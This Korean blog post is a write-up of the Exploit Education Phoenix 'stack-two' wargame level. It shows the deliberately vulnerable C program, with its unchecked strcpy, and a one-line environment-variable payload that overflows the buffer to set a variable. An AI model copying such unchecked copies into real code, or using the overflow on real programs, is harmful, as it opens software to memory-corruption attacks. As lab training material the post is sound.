[phoenix] Stack Two

2022. 9. 26. 19:19·Wargame/Exploit Education
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/stack-two, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 *
 * If you're Russian to get to the bath room, and you are Finnish when you get
 * out, what are you when you are in the bath room?
 *
 * European!
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  char *ptr;

  printf("%s\n", BANNER);

  ptr = getenv("ExploitEducation");
  if (ptr == NULL) {
    errx(1, "please set the ExploitEducation environment variable");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, ptr);

  if (locals.changeme == 0x0d0a090a) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
        locals.changeme);
  }

  exit(0);
}

 

2.2. 분석

ptr 변수에 ExploitEducation 환경변수를 넣고, 이를 locals.buffer 변수에 복사한다.

그리고 locals.changeme 변수가 0x0d0a090a로 변경되어야 한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

strcpy 시 크기 확인을 하지 않아 overwrite가 가능함.

 

3.2. 공격 준비

buffer 변수의 위치, changeme 변수의 위치만 확인한 뒤 (뭐 비슷하겠지만...) export 명령어를 통해 환경변수에 값을 삽입하면 된다.

...
   0x00000000004006f6 <+73>:    mov    -0x8(%rbp),%rdx
   0x00000000004006fa <+77>:    lea    -0x50(%rbp),%rax
   0x00000000004006fe <+81>:    mov    %rdx,%rsi
   0x0000000000400701 <+84>:    mov    %rax,%rdi
   0x0000000000400704 <+87>:    callq  0x4004d0 <strcpy@plt>
   0x0000000000400709 <+92>:    mov    -0x10(%rbp),%eax
   0x000000000040070c <+95>:    cmp    $0xd0a090a,%eax
...

 

4. exploit

root@phoenix-amd64:/opt/phoenix/amd64# export ExploitEducation=`python -c 'print "A"*0x40+"\x0a\x09\x0a\x0d"'`
root@phoenix-amd64:/opt/phoenix/amd64# export
declare -x ExploitEducation="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"
declare -x HOME="/root"
...
root@phoenix-amd64:/opt/phoenix/amd64# ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Exploit Education' 카테고리의 다른 글

[Phoenix] Stack four  (0) 2022.09.27
[Phoenix] Stack three  (0) 2022.09.27
[Phoenix] Stack One  (0) 2022.09.26
[Phoenix] Stack Zero  (0) 2022.09.26
Phoenix 환경 설정 및 참고사항.  (0) 2022.09.26
'Wargame/Exploit Education' 카테고리의 다른 글
  • [Phoenix] Stack four
  • [Phoenix] Stack three
  • [Phoenix] Stack One
  • [Phoenix] Stack Zero
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (79) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    32bit
    libc
    exploit education
    Format String Bug
    x64
    lob
    CANARY
    ROOT ME
    root-me
    FSB
    Buffer Overflow
    Me
    la ctf
    RTL
    docker
    heap
    tcache
    vtable
    rop
    _IO_FILE
    phoenix
    hackerschool
    BOF
    root
    cryptohack
    pwnable.kr
    x86
    dreamhack
    64bit
    pwntools
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[phoenix] Stack Two
상단으로

티스토리툴바